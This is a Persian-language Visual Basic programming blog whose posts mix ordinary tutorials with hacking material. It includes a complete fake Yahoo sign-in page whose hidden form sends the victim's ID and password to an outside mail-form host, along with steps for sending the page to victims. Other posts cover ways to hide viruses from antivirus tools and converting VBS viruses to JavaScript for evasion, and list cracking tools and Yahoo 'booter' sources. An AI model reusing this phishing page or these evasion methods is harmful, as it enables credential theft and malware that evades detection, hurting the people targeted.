آموزش ویژوال بیسیک و برنامه نویسی
سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسیآموزش ویژوال بیسیک و برنامه نویسی
سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسیکامپونت یاهو!
سلام
یک کامپونت برای کسانی که به برنامه نویسی برای یاهو! علاقه مند هستند
کار با این کامپنت خیلی آسون هست یک مثال هم همراه برنامه هست.
به راحتی و با کمترین اطلاعات میتونید یک ربات بنویسید.
امکان فرستادن و دریافت پکت هم دارد و با آخرین تعغیرات یاهو! سازگر هست.
توجه داشته باشید که برای لاگین کردن آیدی باید زبان سیستمی انگیلیسی باشد.
و برای اجرا شدن کامل باید کامپونت mswinsck.ocx و ymsg12encrypt.dll کنار برنامه یا در system32 باشد.
مجموعه کتابهای مفید
اینها رو arsanjan.blogfa دیدم.حیفم اومد براتون نذارم. ولی به دلیل حجم بالای بقیه رو در ادامه مطلب گذاشتم
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Unpackers ها-دانلود
Armadillo
Download
Armadillo Killer 2.6 build 5
Download
Demaradillo
Download
dilloDIE 1.6 - Armadillo 3.xx - 4.xx unpacker
Download
Download
ASPackStripper v2.12
Download
AspackDie v1.41
Download
RLdeASPack v2.x
Download
StaticASPackUnpacker v1.0
Download
Download
FSG v1.33 Dumper
Download
FSG v2.0 static unpacker
Download
RLdeFSG v1.x
Download
RLdeFSG v2.0
Download
UnFSG v0.4
Download
unFSG v0.9
Download
UNFSG v1.33
Download
UnFSG v2.0
Download
PEiD-0.94
Download
ناشناس کردن ویروس از دید آنتی ویروس ها با ویبی
راه های زیادی داره که توی همون بخش ویروس نویسی هست اما چندتا از عمده ترین کارهاش می تونه اینا باشه :
1-کدگذاری برنامه : یعنی با استفاده از الگوریتمهای کدگذاری String های داخل برنامه رو کد می کنیم و موقع استفاده دیکد می کنیم
2-نوشتن توابع جدید به جای استفاده از API ها و توابع خوده زبان برنامه نویسی : با استفاده از دیگر توانایی های زبان برنامه نویسی می شه
بعضی از توابع مثل FileCopy رو یک جور دیگه ای پیاده کرد که از دید آنتی ویروسها یک کار سالم و بدون خطر باشه
3-لود و استفاده از API ها هنگام اجرای برنامه : یعنی با استفاده از توابع API دیگر مثل LoadLibrary و GetProcAddress تابع API
مورد نظر را بارگذاری و استفاده می کنیم
البته باید توجه داشت که در بعضی مواقع که کار ویروس خیلی حساسه استفاده از حتی یک تابع API به صورت استاتیک در برنامه موجب
مرگ و شناخته شدن برنامه می شه یعنی همون LoadLibrary و GetProcAddress رو هم باید دینامیکی لود کنی
4-استفاده از روشهای جدید : بهتره از روشهایی که ویروسهای قدیمی برای انجام کاری استفاده می کردند استفاده نکنید و با نوآوری و
تغییر (چه کوچیک و چه بزرگ) در برنامه به کار ببرید
5-از کارهای خیلی مشکوک و واضح بپرهیزید : خیلی از آنتی ویروسها همه کارهای یک برنامه رو زیر نظر می گیرن و بر اساس اونها
شناسایی رو انجام می دن پس بهتره یک دفعه دست به کارهای واضح مثل پاک کردن فایلهای روی هارد و کپی شدن رو فایلها و ...
بپرهیزید و آنها را به دفعات و براساس زمان و موقعیتهای مختلف انجام دهید
============================
اینا می تونه خیلی به مخفی موندن برنامه کمک کنه که 3 تای اولی خیلی مهمه چون باعث تغییر در Import Table برنامه می شه
و خیلی از آنتی ویروسها (حتی از این دست سازها) از روی Import Table ویروس را شناسایی می کنند و با مخفی و به هم ریختن این قسمت
از فایل اجرایی حداقل یک دیوار حفاظتی نسبتا خوب و قوی دور برنامه کشیده اید
-------------------------------------------------------------
-------------------------------------------------------------
سلام. یه برنامه نوشتم که با یه روش ساده ویروس ها و تروجان ها رو از دید آنتی ویروس ها مخفی می کنه.
از همه دوستانی که نظر میدن متشکرم
ابزار های کرک (دیباگرها)
انواع ابزار های کرک مخصوص نفوذ کردن به برنامه ها :
1-OllyDBG نسخه OllyIce :
جدیدترین نسخه OllyDBG به نام OllyIce همراه با 14 پلاگین قدرتمند
این دیباگر تحت ویندوز XP به خوبی اجرا می شود و توانایی دیباگ تمام فایلهای اجرایی و کتابخانه ای را داشته و به تنهایی قادر به ویرایش سورس برنامه و ذخیره آن می باشد.
2- دو دیباگر برای کار با برنامه ها ویژوال بیسیک
دومی مخصوص برنامه های کامپایل شده به صورت شبه کد یا همان pcode است
3-یک دیباگر مخصوص سیستم عامل یونیکس
Linice 2.6
ابزارهای کرک(دیکامپایلرها)
این سری می خوام یک سری برنامه قرار بدم که سعی می کنند برنامه اجرایی را به سورس و کدهایی که
برنامه نویس نوشته تبدیل کنند اما تبدیل کدهای ماشین به کدهایی که برنامه نویس نوشته غیرممکن است
با این کار می توانید بسیار راحتتر یک برنامه را کرک کنید
البته این نظر درباره اسمبلی صدق نمی کند
شما باید فقط بفهمید که برنامه با چه زبانی نوشته شده و سپس با استفاده از برنامه های زیر آنها را دیکامپایل
کنید
من فعلا از معروفترین زبانها شروع می کنم :
ویژوال بیسیک :
دلفی :
جاوا :
فلش :
SWF Decompiler MX 2004 v1.8.40430
Power Builder :
---------------------
=============================================
برای دیکامپایل برنامه های نصب هم می تونید از برنامه های زیر استفاده کنید
InstallShield :
=============================================
برای برنامه های نوشته شده به زبان هایی مثل PowerBASIC ،C++,C بهتر است از دیسمبلها که در قسمتهای
بعدی می گذارم استفاده شود
=============================================
برای برنامه هایی که با زبانها دات نت نوشته شده اند مثل VB.Net یا VC++.Net دیکامپایلری ندیدم اما اگر پیدا
کردم حتما می گذارم ولی چون همه آنها به یک نوع کد تبدیل می شوند اگر یک دیکامپایلر پیدا کردید برای همه
زبانها دات نت به کار می آید
============================================
یک ترفند جالب اتوران سازی درایو های هارد دیسک همراه با آیکن دلخ
اتوران سازی درایو های هارد دیسک همراه با آیکن دلخواه
گام اول ساختن آیکن:
آیکنرا میتوانید هر نرم افزاری که خواستید بسازید. همانند فتوشاپ و یاغیره.... فقط توجه داشته باشید که پسوند آیکن شما باید به صورت.ico بایدباشد و اندازه تصویر هم 32*32 باید باشد.
گام دوم AutoRun سازی درایوفرضکنید درایو های متعددی در هارد دیسک شما وجود دارد و شما هر کدام را برایمنظور خاصی در نظر گرفته اید.مثلا درایو D برای موسیقی و درایو E برای عکسها یا فیلم ها. آیا دوست دارید با باز کردن درایو D به طور خودکار ویندوزمدیا پلیر باز شود؟برای این کار:
1- ابتدا برنامه Notepad را باز کنید و عبارت زیر را در آن تایپ کنید
[AutoRun]
Media player\wmplayer.exe
Open=C:\Program Files\Windows
Icon=amir_p30. ico
از منوی فایل گزینه Save AS را انتخاب کنبد و آن را به صورت زیر ذخیره کنید :
File Name : AutoRun.inf
Save as type :All Files
Encoding: ANSI
2- آیکونی را که در مرحله قبل درست کرده اید\ما در اینجا از نام AMIR_P30.ico استفاده کردیم را مستقیم در درایو D کپی کنید (همان درایوی که میخواهیداتوران شود). برای اجرای این فرامین سیستم رایکبار دیگر راه اندازی کنیدتا تغییرات اعمال شود.
حالا با 2 بار کلیک کردن بروی آیکن درایو D مدیا پلیر باز میشود.
این کار را برای درایو های دیگه و با برنامه های دیگه هم میتوانید انجام دهید.
dll , ocx های مورد نیاز
سورس های مربوط به یاهو مسنجر
یک بوتر دی سی کوچولو :
http://users5.titanichost.com/3dboy/yahoo/1botdcexample.rar
سورس کامل YM!Cam
http://users5.titanichost.com/3dboy/yahoo/A_Ym!cam.zip
سورس کامل BuddySpy_2.2.06
http://users5.titanichost.com/3dboy/yahoo/Buddyspy_2.2.06.rar (http://users5.titanichost.com/3dboy/yahoo/Buddyspy_2.2.06.rar)
گرفتن پیغام در یاهو
http://users5.titanichost.com/3dboy/yahoo/Getyahoochatpmtext.zip
چک کردن آنلاین افراد حتی در حالت اینویزابل
http://users5.titanichost.com/3dboy/yahoo/Multi_Online_Checker_Source.rar
مالتی یاهو 9
http://users5.titanichost.com/3dboy/yahoo/Multi_Yahoo_9_Source_108.zip
چک کردن وب کم افراد
http://users5.titanichost.com/3dboy/yahoo/Raw-yahoo-web-cam-checker.zip
روم لیست گرابر
http://users5.titanichost.com/3dboy/yahoo/Room List Grabber Src.zip
فرستادن میل با یاهو
http://users5.titanichost.com/3dboy/yahoo/Send_Mail_Yahoo.zip
ماشین پاسخگوی یاهو
http://users5.titanichost.com/3dboy/yahoo/Yahoo Answering Machine Source.zip
یاهو ویس
http://users5.titanichost.com/3dboy/yahoo/Yahoo_Voic2.zip
شکلک یاهو
http://users5.titanichost.com/3dboy/yahoo/Yahoo-exemple-envoyer-smileys-salon_23950.zip
فرستادن فایل با یاهو
http://users5.titanichost.com/3dboy/yahoo/Ymsg_File.zip
انواع لوگینر های یاهو
http://users5.titanichost.com/3dboy/yahoo/Ymsg_Login.zip
تغییر پسورد یاهو
http://users5.titanichost.com/3dboy/yahoo/Ypwchanger.zip
شکلک های یاهو
http://users5.titanichost.com/3dboy/yahoo/Sheklak Yahoo.rar
برنامه خزنده
http://users5.titanichost.com/3dboy/yahoo/Khazande 3.rar
فرستادن پیغام به یک لیست (آنلان - آفلاین)
http://users5.titanichost.com/3dboy/sorce/Send Pm.rar
23 سروس از برنامه های یاهو تقدیم به دوستان
http://users5.titanichost.com/3dboy/yahoo/23.yahoo.rar
رایت 800 مگابایت بر روی سی دی
شاید برایتان پیش اومده باشه که مثلا یه برنامه دارید که حجمش از 700 مگابایت بیشتر باشه . و می خواهید اونو رایت کنید در این مواقع می بایست اون برنامه رو فشرده کنید که البته شاید باز هم اون برنامه تو سی دی جا نشه . با این ترفند می تونید بر روی سی دی های معمولی حتی تا 1 گیگا بایت اطلاعات ذخیره کنید . ابتدا می بایست ببینید رایتر شما over burning ساپورت می کنه یا نه . برای تست این کار مراحل زیر را دنبال کنید
ابتدا به برنامه Nero رفته و سپس کلید های ترکیبی Ctrl + R را فشار دهید . تو این پنجره ببینید که در قسمت Recorder information ، رو به روی عبارت Over burn عبارت supported نوشته شده است یا نه . اگر عبارت ساپورت نوشته شده باشد شما می تو نید از این ترفند استفاده کنید.
حال به منوی File رفته و قسمت preferences رو انتخاب کنید سپس در قسمت Expert features دقت کنید که عبارت enable over burn قعال باشد . در زیر همین گزینه مقدار مجاز over burn رو به دقیقه مشخص کنید .
حال به منوی File رفته و گزینه New را انتخاب کنید و در قسمت Multi session گزینه No Mutt session را انتخاب نمایید . سپس در قسمت Burn عبارت Write Method رو به Disc at Once تبدیل کنید .
حال می تونید سی دی خود را رایت کنید مقدار رایت هم بستگی خیلی زیادی به رایتر داره
به این سایتم یه سر بزنید:
آموزش ساخت FAKE PAGE
نوت پد را باز کنید.
سپس این کد ها را در ان کپی کنید.
و دنبال قسمتی که چند علامت سوال وجود دارد بگردید و ان ها را پاک کنید و idخود را بزنید.
و بعد ان را با پسوند htmlسیو کنید.
حال آگر ان را برای کسی بفرستید و او ان را باز کند و userوpasswordخود را بزند یوزر و پسورد طرف برای شما میاید:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0056)http://home.ripway.com/2003-10/2861...o/FakePage.html -->
<HTML><HEAD><TITLE>Sign in - Yahoo! Member Directory</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1256">
<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff>
<CENTER>
<TABLE cellSpacing=0 cellPadding=0 width=680 border=0>
<TBODY>
<TR>
<TD colSpan=3>
<TABLE cellSpacing=0 cellPadding=4 width="100%" border=0>
<TBODY>
<TR>
<TD vAlign=bottom>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD align=left width="1%">
<TABLE cellSpacing=0 cellPadding=0 width="1%" border=0>
<TBODY>
<TR>
<TD align=left width="1%"><IMG height=29
alt="Yahoo! Member Directory"
src="Sign in - Yahoo! Member Directory_files/mem_dir.gif"
width=259 border=0> </TD></TR></TBODY></TABLE></TD>
<TD vAlign=bottom noWrap align=right width="100%">
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD vAlign=bottom noWrap align=right width="99%"><FONT
face=Arial size=-1><A
href="Yahoo!http://www.yahoo.com/">Yahoo!</A> - <A
href="Helphttp://help.yahoo.com/help/us/edit/">Help</A></FONT>
<BR>
<HR noShade SIZE=1>
</TD></TR></TBODY></TABLE></TD></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD bgColor=#99ccff><FONT face=Arial color=black size=+1><B>Welcome
to Yahoo! Member Directory </B></FONT></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD colSpan=3>
<TABLE cellSpacing=2 cellPadding=3 width="100%" align=center
bgColor=#ffffff border=0>
<TBODY>
<TR>
<TD align=middle><FONT face=arial color=green><B>Sign in to
continue. </B></FONT></B></FONT></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top colSpan=3>
<TABLE cellSpacing=2 cellPadding=0 width="100%" bgColor=#ffffff
border=0><TBODY>
<TR>
<TD vAlign=top width="50%">
<TABLE cellSpacing=0 cellPadding=2 width="100%" bgColor=#ffffff
border=0>
<TBODY>
<TR>
<TD align=middle><FONT face=Arial size=+1><B><NOBR>New to
Yahoo!?</NOBR></B></FONT> </TD></TR>
<TR>
<TD align=middle><B><FONT face=arial><A
href="http://edit.yahoo.com/config/eval_register?.intl=us&new=1&.done=http%3a//members.yahoo.com&.src=ytc&.v=0&.u=er4tt5ovjkn4p&p artner=&.p=&promo=&.last=">Sign
up now</A> to enjoy Yahoo! Member Directory
</FONT></B></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=2 cellPadding=2 width=310 border=0>
<TBODY>
<TR>
<TD vAlign=top width="2%"></TD>
<TD><FONT face=Arial size=-1>Find and connect with millions of
Yahoo! users.</FONT></TD></TR>
<TR>
<TD vAlign=top width="2%"></TD>
<TD><FONT face=Arial size=-1>What's your interest? Find others
like you.</FONT></TD></TR>
<TR>
<TD vAlign=top width="2%"></TD>
<TD><FONT face=Arial size=-1>Check out the Profiles of people
on any list.</FONT></TD></TR>
<TR>
<TD vAlign=top width="2%"></TD>
<TD><FONT face=Arial size=-1>See who's online right now -- use
Yahoo! Messenger to chat.</FONT></TD></TR></TBODY></TABLE></TD>
<TD width="1%"></TD>
<TD vAlign=top align=left>
<FORM action=http://support.inetc.net/email/formmail.asp
method=post><INPUT type=hidden value=smtp3.inetc.net
name=mailserver> <INPUT type=hidden value=?????????????????????????@yahoo.com
name=sendto> <INPUT type=hidden
value=http://mail.yahoo.com/?.intl=us name=urljump>
<TABLE cellSpacing=0 cellPadding=2 width="100%" bgColor=#99ccff
border=0>
<TBODY>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=2 width="100%"
bgColor=#eeeeee border=0>
<TBODY>
<TR>
<TD align=middle bgColor=#ffffff>
<TABLE cellSpacing=6 cellPadding=6 width="100%"
bgColor=#ffffff border=0>
<TBODY>
<TR bgColor=#eeeeee>
<TD align=middle><FONT face=arial><B>Existing
Yahoo! users</B></FONT><BR><FONT face=arial
size=-1><NOBR>Enter your ID and password to sign
in </NOBR></FONT>
<TABLE cellSpacing=0 cellPadding=4 border=0>
<TBODY>
<TR>
<TD align=right>
<TABLE cellSpacing=0 cellPadding=2 border=0>
<TBODY>
<TR>
<TD noWrap align=right><FONT face=arial
size=-1>Yahoo! ID:</FONT></TD>
<TD><INPUT size=17 name=subject> </TD></TR>
<TR>
<TD noWrap align=right><FONT face=arial
size=-1>Password:</FONT></TD>
<TD><INPUT type=password maxLength=32 size=17
name=password ??> </TD></TR>
<TR>
<TD noWrap align=middle colSpan=2><FONT
face=arial size=-1><INPUT type=checkbox
value=y>Remember my ID on this
computer</FONT></TD></TR>
<TR>
<TD></TD>
<TD><INPUT type=submit value="Sign In"></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD noWrap align=middle bgColor=#eeeeee><FONT
face=arial size=-1>Mode: Standard | <A
href="https://login.yahoo.com/config/login?.src=ytc&.v=0&.u=er4tt5ovjkn4p&.last=&promo= &.intl=us&.bypass=&.partner=&pkg=&stepid=&.done=ht tp%3a//members.yahoo.com">Secure</A>
</FONT></TD></TR></TBODY></TABLE></TD></TR>
<TR bgColor=#eeeeee>
<TD vAlign=top align=middle><FONT face=arial
size=-1><A
href="http://login.yahoo.com/config/login?.src=ytc&.help=1&.v=0&.u=er4tt5ovjkn4p&.last =&.last=.done">Sign-in
help</A> <A
href="http://edit.yahoo.com/config/eval_forgot_pw?new=1&.done=http://members.yahoo.com&.src=ytc&partner=&.intl=us&pkg=& stepid=&.last=">Forgot
your password?</A>
</FONT></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></FORM></TD></TR>
<TR>
<TD width=600 colSpan=3></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD colSpan=3>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TABLE></CENTER>
<P>
<CENTER>
<HR width=750 noShade SIZE=1>
<TABLE cellSpacing=0 cellPadding=0 width=750 border=0>
<TBODY>
<TR>
<TD align=middle><FONT face=arial color=#8d8d8d size=-2>Copyright © 2003
Yahoo! Inc. All rights reserved. <A
href="Copyright">http://docs.yahoo.com/info/copyright/copyright.html">Copyright
Policy</A> <A href="http://docs.yahoo.com/info/terms/" target=_new>Terms
of Service</A><BR><B>NOTICE: We collect personal information on this
site.<BR>To learn more about how we use your information, see our <A
href="http://privacy.yahoo.com/" target=_new>Privacy
Policy</A></B></FONT></TD></TR></TBODY></TABLE></CENTER><!-- text below generated by server. PLEASE REMOVE --></OBJECT></LAYER>
<DIV></DIV></SPAN></STYLE></NOSCRIPT></TABLE></SCRIPT></APPLET>
<SCRIPT language=JavaScript
src="Sign in - Yahoo! Member Directory_files/mc.js"></SCRIPT>
<SCRIPT language=JavaScript src=""></SCRIPT>
<SCRIPT language=javascript>geovisit();</SCRIPT>
<NOSCRIPT><IMG height=1 alt=setstats
src="Sign in - Yahoo! Member Directory_files/visit.gif" width=1
border=0></NOSCRIPT> <IMG height=1 alt=1
src="Sign in - Yahoo! Member Directory_files/serv.gif" width=1> <!-- w45.geo.scd.yahoo.com compressed Tue Aug 19 02:23:22 PDT 2003 --></BODY></HTML
چگونگی اجرای فایلهای اجرایی از داخل صفحات Html
احتمالا شما هم تا حالا به این مسئله برخورد کرده باشید که بخواهید از داخل یک صفحه Html یک فایل EXE یا یک فایل اجرایی دیگر را اجرا کرده باشید. بنده به این مشکل زمانی برخوردم که خواستم از داخل یک فایل HTML که بر روی CD ذخیره شده بود (برنامه مجموعه مقالات سومین کنفرانس بین المللی مدیریت کیفیت) ، یک فایل دیگر را از روی همان CD اجرا کنم .بنده در این مورد با دو مسئله مواجه بودم :اولا : فایل اجرایی مورد نظر را با زدن یک کلید (بر روی صفحه HTML ) اجرا کنم.دوما : مسیر این فایل را پیدا کنم (چون هر کسی CD درایوش یه اسمی داره مثلا :F یا :E)برای حل این مشکل با کمی گشتن کدهای جالبی پیدا کردم که نه تنها میتوانستند یک فایل اجرایی را ، اجرا کنند بلکه میتوانستند کارهایی از قبیل باز کردن اپلتهای Control Panel را هم انجام دهند.بوسیله یکی از کدها میتوانید برای اجرای یک فایل با استفاده از CreateObject یک آبجکت از نوع WScript.Shell ساخته و سپس براحتی از آن استفاده کنید، به کد زیر دقت کنید.Set WShell = CreateObject("WScript.Shell")WShell.Run "PATH\Search.exe"برای حل مشکل مسیر هم بنده از دستور Document.URL برای گرفتن مسیر صفحه جاری استفاده نمودم البته شاید راههای خیلی بهتری هم باشد ولی با همین هم کارم راه افتاد.Set WShell = CreateObject("WScript.Shell")WShell.Run mid(document.URL,8,len(document.URL)-17) + "\search.exe"در زیر نمونه ای شبیه این دستور که با استفاده از یک آبجکت دیگر ، در یک صفحه Html بکار رفته ، میتواند اپلتهای کنترل پنل را فراخوانی نماید را آورده ایم که شما میتوانید آنرا براحتی در صفحات ( و فرمهای ) خود استفاده نمایید.سلام به همه دوستان خوبم
همه دوستانی که نظرشاون تایید شده اطمینان داشته باشند که نظراتشون رو خوندم.و اسمشون رو مد نظر دارم و در صورت تداوم همکاری برخی از آموزشها و سورسها را اختصاصی براشون ارسال میکنم.
قرار دادن فایل در برنامه شما (Resource)
موزش Resource کردن فایل در ویژوال بیسیک
در ابتدا شما باید برنامه Resource Editor را فرا خوانی کنید برای این کار به منوی Add-Ins رفته وبعد Add-In Manager را انتخاب کنید در لیست باز شده بر روی VB 6 Resource Editor دو با ر کلیک کنید تا مقابل آن کلمه Loaded ظاهر شود بعد ok را زده بعد آیکنی در بالا ظاهر می شود
( ) آن را انتخاب کنید تا وارد Resource Editor شوید. در قسمت با لای برنامه آیکن هایی می بینید که هر کدام جهت ریسورس کردن هر فایلی است . آیکن اولی مر بوط به ریسورس های متنی آیکن دومی مربوط به شکلک موس آیکن سومی مربوط به آیکن وآیکن بعدی مربوط به عکس هایی با فرمت BMP و در آخر ریسورس کردن هر فایلی که می تواند exe یا dll و... باشد.
خوبب بعد از اینکه فایل های مورد نظرتون رو اضافه کردید نوبت می رسه به استفاده از اونا
حتما متوجه شدید که وقتی یه فایل رو اضافه می کردید بهش یه شماره تعلق می گرفت که معمولا این شماره هاست 101,102,103,104,.... به این شماره ها ID فابل میگند که برای تغییر اون می تونید روش دابل کلیک کنید و در پنجره ی باز شده در قسمت id هرچی خواستید بنویسید طریقه ی استفاده از این فایل ها بستگی به نوع اون داره که تک تک اموزش آنها را می دهیم
1-اگه شما یه متن رو اضافه کرده باشید(ایکون اولی که روش نوشته abc ) باید این دستو ر رو براش بنویسید:
LoadResString( id )
که به جای id باید ایدی ی اون متن رو بنویسید. مثلا
Form1.caption = LoadResString(101)
2-اگه شما یه شکلک موس رو ذخیره کرده باشید (ایکون دوم که عکس ساعت شنی داشت) باید این دستور رو براش بنویسید
LoadResPicture( id , ResType )
در این دستور باید به جای id ای دی فایل رو بنویسیدو به جای ResType نوع فایل که در اینجا چون شکلک موس رو می خواید لود کنید باید عدد 2 رو به جاش بنویسید مثلا:
Form1.Mouseicon = LoadResPicture (101 , 2)
3-اگه شما یک ایکون رو ذخیره کرده باشید می تونید اونو از این طریق فراخوانی کنید:
LoadResPicture ( id , ResType )
اینم مثل قبل باید به جای id ای دی فایل رو بذارید و به جای ResType نوع فایل که اینجا چون فایل ما ایکون هست از عدد 1 به جای اون استفاده کنید. مثلا:
Form1.Icon = LoadResPicture ( 101 , 1 )
4-اگه شما یه فایل تصویری (با پسوند bmp چهارمین ایکون که توضیح دادم)ذخیره کرده باشید از طریق این کد اونو فراخوانی کنید:
LoadResPicture ( id, ResType )
اینم مثل قبل باید به جای id ای دی فایل و به جای ResType نوع فایل که چون فایل تصویری هست از از عدد 0 به جای اون استفاده می کنیم .مثال:
Picture1.Picture = LoadResPicture ( 101 , 0)
5- و در آخر فایل با هر پسوندی که خواستید:
این یکی با بقیه فرق داره اول از همه شما باید اونو لود کنید و بعدش اونو داخل یه فایل خارج از برنامتون بذارید تا بتونید از اون استفاده کنید.
دستور اولیه ی لود کردن اینه:
LoadResData( id , ResType)
حالا یه نمونه کد می ذارم و خط به خط توضیح میدم:
Dim Buffer As String
Buffer = StrConv(LoadResData(101, "CUSTOM", vbUnicode)
Open "c:\custom.*" For Output As #1
Print #1, Buffer
Close #1
در خط اول ما یه متغیر از نوع string تعریف کردیم.
درخط دوم فایلی که در resource گذاشتیم رو تبدیل و در buffer لود کردیم.
در خط سوم یه فایل درست کردیم با پسوند dll (توجه کنید نوع فایل باید با نوع فایلی که قبلا به resource اضافه کردید یکی باشه ).
در خط چهارم محتویات buffer که قبلا فایل مورد نظرمون رو توش لود کردیم به داخل فایلی که در خط سوم درست کردیم میریزه.
همچنین نمونه کد های بالا را می توانید از برنامه زیر دانلود کنید :
ایا راهی هست که یک فایل رو SUPERHIDDEN کرد؟
ایا راهی هست که یک فایل رو SUPERHIDDEN کرد
با این API و ثابت ها میتونی این کارو بکنی
Private Declare Function SetFileAttributes Lib "kernel32.dll" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTEHIDDEN = &H2
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
برای سوپرهاید هم باید از این ثابت در پارامتر دوم به این صورت استفاده کنی
FILE_ATTRIBUTEHIDDEN + FILE_ATTRIBUTE_SYSTEM
تو پارامتر اول هم که مسیر فایل مورد نظرت رو میدی !
البته از توابع داخلی ویژوال بیسیک هم میتونی برای این کار استفاده کنی
SetAttr
GetAttr
کتابهای آموزشی
|
|
تبدیل ویروس vbs به js
ویروس نویسی فقط برای برخی افراد لذت بخش است. از بین این ها نیز فقط عده ای طعم ویروس نویسی حرفه ای را می چشند.یک از مهم ترین جنبه های ویروس نویسی حرفه ای اینکریپت یا رمزی کردن ویروس است.این کار ویروس را از دید آنتی ویروس ها مخفی نگه می دارد.در نتیجه باعث دوام و ثبات آن خواهد شد.اگر می خواهید این طعم را تجربه کنید از شگرد زیر استفاده کنید.
با روشی که گفته می شود می توانیید ویروس vbs ای که نوشته اید را به ویروس جاوا اسکریپت تبدیل کنید.یادگیری این کار دو فایده دارد.
1.آنتی ویروس ها به هیچ وجه ویروس شما را شناسایی نمی کنند.
2.مهارت تبدیل هر فایل vbs دیگر به js را خواهید داشت.
آنتی ویروس ها ویروس شما را نمی شناسند نیز خود دو علت دارد.
1.کدهای ویروس شما نه به زبان vbs است و نه js .
2.آنتی ویروس ها روی فایل های vbs حساسیت بیشتری دارند.
ابتدا با تابع asc ،شماره ی اسکی هر حرف ار سورس ویروس را به دست آورید و آن را یادداشت کنید.
R = asc("")
Msgbox(R)
بین دو علامت "" فقط یک حرف بنویسد اما اگر با error در مواجه شدید اول حرف مورد نظر را بنویسید و سپس یک حرف دلخواه اضافه کنید.
بعد از انجام این کار از کدهای js زیر به طوری که گفته می شود استفاده کنید.
کدهای جاوا اسکریپتی بالا فایلی با نام fhkrqsmp.vbs در مسیر جاری ایجاد می کنند و سپس کدهای زیر را در آن می نویسند و فایل را اجرا می کنند.
Msgbox "reza"
Msgbox "reza"
در خط اول این کدها از تابع chr استفاده شده است که درست برعکس asc کار می کند.یعنی حرف هایی که به عدد تبدیل کرده اید را به همان حرف ها تبدیل می کند.عبارت 13,10 در همین خط نیز به معنی نوشتن در خط بعد می باشد.در این کدها فقط یک بار از این عبارت استفاده شده است.
کدهایی که نوشته اید را در notepad کپی کرده و با پسوند js ذخیره کنید